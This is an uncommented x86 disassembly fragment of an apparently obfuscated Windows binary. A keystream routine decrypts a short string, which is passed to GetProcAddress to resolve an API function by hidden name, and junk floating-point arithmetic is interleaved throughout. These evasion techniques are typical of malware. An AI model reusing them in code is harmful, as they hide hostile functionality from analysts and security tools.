lea eax, [ebp - 0xd9c]
mov cl, byte [ebp - 0x3636]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3636]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3637]
add edx, ecx
mov byte [ebp - 0x3637], dl
movzx eax, byte [ebp - 0x3638]
movzx ecx, byte [ebp - 0x3590]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3571]
shl edx, 0
lea esi, [ebp - 0xd9c]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3591]
shl edx, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35c1]
shl ecx, 0
lea esi, [ebp - 0xd9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3637]
shl ecx, 0
lea esi, [ebp - 0xd9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3591], al
mov al, byte [ebp - 0x3638]
mov byte [ebp - 0x35c1], al
mov cl, byte [ebp - 0x3591]
mov byte [ebp - 0x36fd], cl
cmp dword [ebp - 0x36c4], 0
jbe 0x48a046
mov edx, dword [ebp - 0x36c4]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0xc9c]
mov cl, byte [ebp - 0x36fd]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x38e4]
add edx, 5
mov dword [ebp - 0x38e4], edx
mov eax, dword [ebp - 0x36c4]
add eax, 1
mov dword [ebp - 0x4e38], eax
jmp 0x48a075
mov ecx, dword [ebp - 0x4e38]
add ecx, 1
mov dword [ebp - 0x4e38], ecx
mov edx, dword [ebp - 0x4e38]
cmp edx, dword [ebp - 0x38e4]
jge 0x48a33d
mov eax, dword [ebp - 0x36c4]
add eax, 1
mov dword [ebp - 0x36c4], eax
mov ecx, dword [ebp - 0x36c4]
shl ecx, 1
mov dword [ebp - 0x3d50], ecx
mov edx, dword [ebp - 0x3d50]
shl edx, 0
add edx, dword [ebp - 0x3e08]
movzx eax, byte [edx]
mov dword [ebp - 0x3c40], eax
mov dword [ebp - 0x3c44], 0x5d
mov ecx, dword [ebp - 0x36c4]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3d4c], ecx
mov edx, dword [ebp - 0x3d4c]
shl edx, 0
add edx, dword [ebp - 0x3e08]
movzx eax, byte [edx]
mov dword [ebp - 0x3c48], eax
mov dword [ebp - 0x3c4c], 0xe0
mov ecx, dword [ebp - 0x3c40]
sub ecx, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c50], ecx
mov edx, dword [ebp - 0x3c48]
sub edx, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c54], edx
mov eax, dword [ebp - 0x3c50]
shl eax, 4
mov dword [ebp - 0x3d48], eax
mov ecx, dword [ebp - 0x3c54]
mov dword [ebp - 0x3d44], ecx
mov edx, dword [ebp - 0x3d48]
or edx, dword [ebp - 0x3d44]
mov dword [ebp - 0x3d40], edx
mov al, byte [ebp - 0x3d40]
mov byte [ebp - 0x3638], al
movzx ecx, byte [ebp - 0x35c1]
shl ecx, 0
lea edx, [ebp - 0xd9c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3636], al
movzx ecx, byte [ebp - 0x3571]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3590]
add ecx, eax
mov byte [ebp - 0x3590], cl
mov dl, byte [ebp - 0x3571]
add dl, 1
mov byte [ebp - 0x3571], dl
movzx eax, byte [ebp - 0x3590]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [ebp - 0x35c1]
shl edx, 0
lea esi, [ebp - 0xd9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3591]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ebp - 0x3590]
shl eax, 0
lea esi, [ebp - 0xd9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3571]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ebp - 0x3591]
shl ecx, 0
lea esi, [ebp - 0xd9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3571]
shl eax, 0
lea ecx, [ebp - 0xd9c]
mov dl, byte [ebp - 0x3636]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3636]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3637]
add eax, edx
mov byte [ebp - 0x3637], al
movzx ecx, byte [ebp - 0x3638]
movzx edx, byte [ebp - 0x3590]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3571]
shl eax, 0
lea esi, [ebp - 0xd9c]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3591]
shl eax, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35c1]
shl edx, 0
lea esi, [ebp - 0xd9c]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3637]
shl edx, 0
lea esi, [ebp - 0xd9c]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3591], cl
mov cl, byte [ebp - 0x3638]
mov byte [ebp - 0x35c1], cl
mov dl, byte [ebp - 0x3591]
mov byte [ebp - 0x36fd], dl
cmp dword [ebp - 0x36c4], 0
jbe 0x48a338
mov eax, dword [ebp - 0x36c4]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0xc9c]
mov dl, byte [ebp - 0x36fd]
mov byte [eax + ecx], dl
jmp 0x48a066
mov eax, dword [ebp - 0x38e4]
add eax, 1
mov dword [ebp - 0x38e4], eax
mov ecx, dword [ebp - 0x36c4]
add ecx, 1
mov dword [ebp - 0x36c4], ecx
mov edx, dword [ebp - 0x38e4]
add edx, 1
mov dword [ebp - 0x38e4], edx
mov eax, dword [ebp - 0x36c4]
shl eax, 1
mov dword [ebp - 0x3d50], eax
mov ecx, dword [ebp - 0x3d50]
shl ecx, 0
add ecx, dword [ebp - 0x3e08]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c40], edx
mov dword [ebp - 0x3c44], 0x5d
mov eax, dword [ebp - 0x36c4]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3d4c], eax
mov ecx, dword [ebp - 0x3d4c]
shl ecx, 0
add ecx, dword [ebp - 0x3e08]
movzx edx, byte [ecx]
mov dword [ebp - 0x3c48], edx
mov dword [ebp - 0x3c4c], 0xe0
mov eax, dword [ebp - 0x3c40]
sub eax, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c50], eax
mov ecx, dword [ebp - 0x3c48]
sub ecx, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c54], ecx
mov edx, dword [ebp - 0x3c50]
shl edx, 4
mov dword [ebp - 0x3d48], edx
mov eax, dword [ebp - 0x3c54]
mov dword [ebp - 0x3d44], eax
mov ecx, dword [ebp - 0x3d48]
or ecx, dword [ebp - 0x3d44]
mov dword [ebp - 0x3d40], ecx
mov dl, byte [ebp - 0x3d40]
mov byte [ebp - 0x3638], dl
movzx eax, byte [ebp - 0x35c1]
shl eax, 0
lea ecx, [ebp - 0xd9c]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3636], dl
movzx eax, byte [ebp - 0x3571]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3590]
add eax, edx
mov byte [ebp - 0x3590], al
mov cl, byte [ebp - 0x3571]
add cl, 1
mov byte [ebp - 0x3571], cl
movzx edx, byte [ebp - 0x3590]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ebp - 0x35c1]
shl ecx, 0
lea esi, [ebp - 0xd9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3591]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [ebp - 0x3590]
shl edx, 0
lea esi, [ebp - 0xd9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3571]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ebp - 0x3591]
shl eax, 0
lea esi, [ebp - 0xd9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3571]
shl edx, 0
lea eax, [ebp - 0xd9c]
mov cl, byte [ebp - 0x3636]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3636]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3637]
add edx, ecx
mov byte [ebp - 0x3637], dl
movzx eax, byte [ebp - 0x3638]
movzx ecx, byte [ebp - 0x3590]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3571]
shl edx, 0
lea esi, [ebp - 0xd9c]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3591]
shl edx, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35c1]
shl ecx, 0
lea esi, [ebp - 0xd9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3637]
shl ecx, 0
lea esi, [ebp - 0xd9c]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3591], al
mov al, byte [ebp - 0x3638]
mov byte [ebp - 0x35c1], al
mov cl, byte [ebp - 0x3591]
mov byte [ebp - 0x36fd], cl
cmp dword [ebp - 0x36c4], 0
jbe 0x48a60d
mov edx, dword [ebp - 0x36c4]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0xc9c]
mov cl, byte [ebp - 0x36fd]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x36c4]
add edx, 1
mov dword [ebp - 0x36c4], edx
mov eax, dword [ebp - 0x38e4]
add eax, 1
mov dword [ebp - 0x38e4], eax
mov ecx, dword [ebp - 0x36c4]
shl ecx, 1
mov dword [ebp - 0x3d50], ecx
mov edx, dword [ebp - 0x3d50]
shl edx, 0
add edx, dword [ebp - 0x3e08]
movzx eax, byte [edx]
mov dword [ebp - 0x3c40], eax
mov dword [ebp - 0x3c44], 0x5d
mov ecx, dword [ebp - 0x36c4]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3d4c], ecx
mov edx, dword [ebp - 0x3d4c]
shl edx, 0
add edx, dword [ebp - 0x3e08]
movzx eax, byte [edx]
mov dword [ebp - 0x3c48], eax
mov dword [ebp - 0x3c4c], 0xe0
mov ecx, dword [ebp - 0x3c40]
sub ecx, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c50], ecx
mov edx, dword [ebp - 0x3c48]
sub edx, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c54], edx
mov eax, dword [ebp - 0x3c50]
shl eax, 4
mov dword [ebp - 0x3d48], eax
mov ecx, dword [ebp - 0x3c54]
mov dword [ebp - 0x3d44], ecx
movsd xmm0, qword [0x9dafc0]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [0x9dace0]
movsd qword [ebp - 0x4b98], xmm0
movsd xmm0, qword [0x9da918]
movsd qword [ebp - 0x5058], xmm0
movsd xmm0, qword [0x9da580]
movsd qword [ebp - 0x4b70], xmm0
movsd xmm0, qword [ebp - 0x5058]
mulsd xmm0, qword [ebp - 0x4b70]
movsd qword [ebp - 0x5058], xmm0
movsd xmm0, qword [ebp - 0x5058]
mulsd xmm0, qword [ebp - 0x4b70]
movsd qword [ebp - 0x5058], xmm0
movsd xmm0, qword [ebp - 0x5058]
mulsd xmm0, qword [ebp - 0x4b70]
movsd qword [ebp - 0x5058], xmm0
movsd xmm0, qword [ebp - 0x451c]
subsd xmm0, qword [ebp - 0x4b70]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [ebp - 0x5058]
comisd xmm0, xmmword [ebp - 0x4b70]
jbe 0x48a7f6
movsd xmm0, qword [ebp - 0x451c]
mulsd xmm0, qword [ebp - 0x4b98]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [ebp - 0x4b70]
subsd xmm0, qword [ebp - 0x451c]
movsd qword [ebp - 0x4b70], xmm0
mov edx, dword [ebp - 0x3d48]
or edx, dword [ebp - 0x3d44]
mov dword [ebp - 0x3d40], edx
movsd xmm0, qword [ebp - 0x4b98]
subsd xmm0, qword [ebp - 0x5058]
movsd qword [ebp - 0x4b98], xmm0
movsd xmm0, qword [ebp - 0x4b70]
mulsd xmm0, qword [ebp - 0x451c]
movsd qword [ebp - 0x4b70], xmm0
jmp 0x48a98a
movsd xmm0, qword [ebp - 0x451c]
addsd xmm0, qword [ebp - 0x4b98]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [ebp - 0x4b70]
mulsd xmm0, qword [ebp - 0x451c]
movsd qword [ebp - 0x4b70], xmm0
movsd xmm0, qword [ebp - 0x451c]
mulsd xmm0, qword [ebp - 0x4b98]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [ebp - 0x451c]
subsd xmm0, qword [ebp - 0x4b98]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [ebp - 0x4b70]
divsd xmm0, qword [ebp - 0x451c]
movsd qword [ebp - 0x4b70], xmm0
movsd xmm0, qword [ebp - 0x4b98]
divsd xmm0, qword [ebp - 0x5058]
movsd qword [ebp - 0x4b98], xmm0
movsd xmm0, qword [ebp - 0x451c]
divsd xmm0, qword [ebp - 0x4b98]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [ebp - 0x451c]
subsd xmm0, qword [ebp - 0x4b98]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [ebp - 0x4b98]
comisd xmm0, xmmword [ebp - 0x4b70]
jbe 0x48a92a
movsd xmm0, qword [ebp - 0x451c]
addsd xmm0, qword [ebp - 0x5058]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [ebp - 0x4b98]
addsd xmm0, qword [ebp - 0x4b70]
movsd qword [ebp - 0x4b98], xmm0
movsd xmm0, qword [ebp - 0x4b70]
addsd xmm0, qword [ebp - 0x4b98]
movsd qword [ebp - 0x4b70], xmm0
movsd xmm0, qword [ebp - 0x451c]
addsd xmm0, qword [ebp - 0x5058]
movsd qword [ebp - 0x451c], xmm0
jmp 0x48a98a
movsd xmm0, qword [ebp - 0x4b98]
subsd xmm0, qword [ebp - 0x5058]
movsd qword [ebp - 0x4b98], xmm0
movsd xmm0, qword [ebp - 0x5058]
mulsd xmm0, qword [ebp - 0x4b70]
movsd qword [ebp - 0x5058], xmm0
movsd xmm0, qword [ebp - 0x451c]
subsd xmm0, qword [ebp - 0x4b98]
movsd qword [ebp - 0x451c], xmm0
movsd xmm0, qword [ebp - 0x451c]
subsd xmm0, qword [ebp - 0x4b98]
movsd qword [ebp - 0x451c], xmm0
mov al, byte [ebp - 0x3d40]
mov byte [ebp - 0x3638], al
movzx ecx, byte [ebp - 0x35c1]
shl ecx, 0
lea edx, [ebp - 0xd9c]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3636], al
movzx ecx, byte [ebp - 0x3571]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3590]
add ecx, eax
mov byte [ebp - 0x3590], cl
mov dl, byte [ebp - 0x3571]
add dl, 1
mov byte [ebp - 0x3571], dl
movzx eax, byte [ebp - 0x3590]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [ebp - 0x35c1]
shl edx, 0
lea esi, [ebp - 0xd9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3591]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ebp - 0x3590]
shl eax, 0
lea esi, [ebp - 0xd9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3571]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ebp - 0x3591]
shl ecx, 0
lea esi, [ebp - 0xd9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3571]
shl eax, 0
lea ecx, [ebp - 0xd9c]
mov dl, byte [ebp - 0x3636]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3636]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3637]
add eax, edx
mov byte [ebp - 0x3637], al
movzx ecx, byte [ebp - 0x3638]
movzx edx, byte [ebp - 0x3590]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3571]
shl eax, 0
lea esi, [ebp - 0xd9c]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3591]
shl eax, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35c1]
shl edx, 0
lea esi, [ebp - 0xd9c]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3637]
shl edx, 0
lea esi, [ebp - 0xd9c]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3591], cl
mov cl, byte [ebp - 0x3638]
mov byte [ebp - 0x35c1], cl
mov dl, byte [ebp - 0x3591]
mov byte [ebp - 0x36fd], dl
cmp dword [ebp - 0x36c4], 0
jbe 0x48ab78
mov eax, dword [ebp - 0x36c4]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0xc9c]
mov dl, byte [ebp - 0x36fd]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x36c4]
add eax, 1
mov dword [ebp - 0x36c4], eax
mov ecx, dword [ebp - 0x38e4]
add ecx, 1
mov dword [ebp - 0x38e4], ecx
mov edx, dword [ebp - 0x36c4]
shl edx, 1
mov dword [ebp - 0x3d50], edx
mov eax, dword [ebp - 0x3d50]
shl eax, 0
add eax, dword [ebp - 0x3e08]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c40], ecx
mov dword [ebp - 0x3c44], 0x5d
mov edx, dword [ebp - 0x36c4]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3d4c], edx
mov eax, dword [ebp - 0x3d4c]
shl eax, 0
add eax, dword [ebp - 0x3e08]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c48], ecx
mov dword [ebp - 0x3c4c], 0xe0
mov edx, dword [ebp - 0x3c40]
sub edx, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c50], edx
mov eax, dword [ebp - 0x3c48]
sub eax, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c54], eax
mov ecx, dword [ebp - 0x3c50]
shl ecx, 4
mov dword [ebp - 0x3d48], ecx
movsd xmm0, qword [0x9daf90]
movsd qword [ebp - 0x4ba0], xmm0
movsd xmm0, qword [0x9dab68]
movsd qword [ebp - 0x4adc], xmm0
movsd xmm0, qword [0x9da6c8]
movsd qword [ebp - 0x4790], xmm0
movsd xmm0, qword [ebp - 0x4ba0]
subsd xmm0, qword [ebp - 0x4790]
movsd qword [ebp - 0x4ba0], xmm0
movsd xmm0, qword [ebp - 0x4ba0]
mulsd xmm0, qword [ebp - 0x4790]
movsd qword [ebp - 0x4ba0], xmm0
movsd xmm0, qword [ebp - 0x4adc]
subsd xmm0, qword [ebp - 0x4790]
movsd qword [ebp - 0x4adc], xmm0
movsd xmm0, qword [ebp - 0x4adc]
comisd xmm0, xmmword [ebp - 0x4ba0]
jbe 0x48adf0
movsd xmm0, qword [ebp - 0x4790]
mulsd xmm0, qword [ebp - 0x4ba0]
movsd qword [ebp - 0x4790], xmm0
movsd xmm0, qword [ebp - 0x4ba0]
subsd xmm0, qword [ebp - 0x4adc]
movsd qword [ebp - 0x4ba0], xmm0
movsd xmm0, qword [ebp - 0x4790]
addsd xmm0, qword [ebp - 0x4ba0]
movsd qword [ebp - 0x4790], xmm0
movsd xmm0, qword [ebp - 0x4790]
mulsd xmm0, qword [ebp - 0x4adc]
movsd qword [ebp - 0x4790], xmm0
movsd xmm0, qword [ebp - 0x4790]
subsd xmm0, qword [ebp - 0x4adc]
movsd qword [ebp - 0x4790], xmm0
movsd xmm0, qword [ebp - 0x4ba0]
addsd xmm0, qword [ebp - 0x4790]
movsd qword [ebp - 0x4ba0], xmm0
movsd xmm0, qword [ebp - 0x4ba0]
comisd xmm0, xmmword [ebp - 0x4adc]
jbe 0x48ada6
movsd xmm0, qword [ebp - 0x4adc]
addsd xmm0, qword [ebp - 0x4790]
movsd qword [ebp - 0x4adc], xmm0
movsd xmm0, qword [ebp - 0x4adc]
addsd xmm0, qword [ebp - 0x4790]
movsd qword [ebp - 0x4adc], xmm0
movsd xmm0, qword [ebp - 0x4ba0]
subsd xmm0, qword [ebp - 0x4adc]
movsd qword [ebp - 0x4ba0], xmm0
jmp 0x48adee
movsd xmm0, qword [ebp - 0x4adc]
subsd xmm0, qword [ebp - 0x4790]
movsd qword [ebp - 0x4adc], xmm0
movsd xmm0, qword [ebp - 0x4790]
addsd xmm0, qword [ebp - 0x4ba0]
movsd qword [ebp - 0x4790], xmm0
movsd xmm0, qword [ebp - 0x4ba0]
addsd xmm0, qword [ebp - 0x4adc]
movsd qword [ebp - 0x4ba0], xmm0
jmp 0x48ae44
movsd xmm0, qword [ebp - 0x4790]
mulsd xmm0, qword [ebp - 0x4adc]
movsd qword [ebp - 0x4790], xmm0
movsd xmm0, qword [ebp - 0x4adc]
mulsd xmm0, qword [ebp - 0x4ba0]
movsd qword [ebp - 0x4adc], xmm0
mov edx, dword [ebp - 0x3c54]
mov dword [ebp - 0x3d44], edx
movsd xmm0, qword [ebp - 0x4790]
mulsd xmm0, qword [ebp - 0x4adc]
movsd qword [ebp - 0x4790], xmm0
mov eax, dword [ebp - 0x3d48]
or eax, dword [ebp - 0x3d44]
mov dword [ebp - 0x3d40], eax
mov cl, byte [ebp - 0x3d40]
mov byte [ebp - 0x3638], cl
movzx edx, byte [ebp - 0x35c1]
shl edx, 0
lea eax, [ebp - 0xd9c]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3636], cl
movzx edx, byte [ebp - 0x3571]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3590]
add edx, ecx
mov byte [ebp - 0x3590], dl
mov al, byte [ebp - 0x3571]
add al, 1
mov byte [ebp - 0x3571], al
movzx ecx, byte [ebp - 0x3590]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ebp - 0x35c1]
shl eax, 0
lea esi, [ebp - 0xd9c]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3591]
shl edx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ebp - 0x3590]
shl ecx, 0
lea esi, [ebp - 0xd9c]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3571]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx edx, byte [ebp - 0x3591]
shl edx, 0
lea esi, [ebp - 0xd9c]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3571]
shl ecx, 0
lea edx, [ebp - 0xd9c]
mov al, byte [ebp - 0x3636]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3636]
shl ecx, 0
lea edx, [ebp - 0xd9c]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3637]
add ecx, eax
mov byte [ebp - 0x3637], cl
movzx edx, byte [ebp - 0x3638]
movzx eax, byte [ebp - 0x3590]
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3571]
shl ecx, 0
lea esi, [ebp - 0xd9c]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0xd9c]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3591]
shl ecx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x35c1]
shl eax, 0
lea esi, [ebp - 0xd9c]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3637]
shl eax, 0
lea esi, [ebp - 0xd9c]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0xd9c]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3591], dl
mov dl, byte [ebp - 0x3638]
mov byte [ebp - 0x35c1], dl
mov al, byte [ebp - 0x3591]
mov byte [ebp - 0x36fd], al
cmp dword [ebp - 0x36c4], 0
jbe 0x48b043
mov ecx, dword [ebp - 0x36c4]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0xc9c]
mov al, byte [ebp - 0x36fd]
mov byte [ecx + edx], al
mov ecx, 1
imul edx, ecx, 0xf
mov dword [ebp - 0x5f30], edx
cmp dword [ebp - 0x5f30], 0x10
jae 0x48b05c
jmp 0x48b061
call fcn.009b6d77
lea eax, [ebp - 0xc9c]
add eax, dword [ebp - 0x5f30]
mov byte [eax], 0
jmp 0x48b0c3
mov dword [ebp - 0x36c4], 0
jmp 0x48b08d
mov ecx, dword [ebp - 0x36c4]
add ecx, 1
mov dword [ebp - 0x36c4], ecx
cmp dword [ebp - 0x36c4], 0x10
jae 0x48b0c3
mov edx, dword [ebp - 0x36c4]
mov dword [ebp - 0x5f2c], edx
cmp dword [ebp - 0x5f2c], 0x10
jae 0x48b0ad
jmp 0x48b0b2
call fcn.009b6d77
lea eax, [ebp - 0xc9c]
add eax, dword [ebp - 0x5f2c]
mov byte [eax], 0
jmp 0x48b07e
lea ecx, [ebp - 0xc9c]
push ecx
mov edx, dword [ebp - 0x37e4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa06848], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x5710], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5360], xmm0
mov dword [ebp - 0x3794], 0
mov dword [ebp - 0x4e50], 0
mov dword [ebp - 0x58f4], 0
mov dword [ebp - 0x5424], 1
mov dword [ebp - 0x48c0], 0
mov dword [ebp - 0x5bfc], 0
mov dword [ebp - 0x3d3c], 0
mov dword [ebp - 0x44f4], 0
mov dword [ebp - 0x4394], 0
mov dword [ebp - 0x4398], 0
mov dword [ebp - 0x44f8], 0
mov dword [ebp - 0x439c], 0
mov dword [ebp - 0x43a0], 0
mov dword [ebp - 0x43a4], 0
mov dword [ebp - 0x43a8], 0
mov dword [ebp - 0x44ec], 0
mov dword [ebp - 0x44e8], 0
mov dword [ebp - 0x44e4], 0
mov dword [ebp - 0x4e4c], 0
mov byte [ebp - 0x35c2], 0
mov byte [ebp - 0x3608], 0
mov byte [ebp - 0x36f3], 0
mov byte [ebp - 0x3607], 0
mov byte [ebp - 0x3646], 0
mov byte [ebp - 0x3772], 0
mov byte [ebp - 0x419e], 0
mov byte [ebp - 0x36f4], 0
mov byte [ebp - 0x36f2], 0
mov byte [ebp - 0x37d6], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x5710], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5360], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5360], xmm0
jmp 0x48b231
movsd xmm0, qword [ebp - 0x5360]
addsd xmm0, qword [0x9d9048]
movsd qword [ebp - 0x5360], xmm0
movsd xmm0, qword [0x9db1e8]
comisd xmm0, xmmword [ebp - 0x5360]
jbe 0x48b2e2
movsd xmm0, qword [0x9da278]
mulsd xmm0, qword [ebp - 0x5360]
mulsd xmm0, qword [ebp - 0x5360]
movsd xmm1, qword [ebp - 0x5360]
mulsd xmm1, qword [ebp - 0x5360]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d9078]
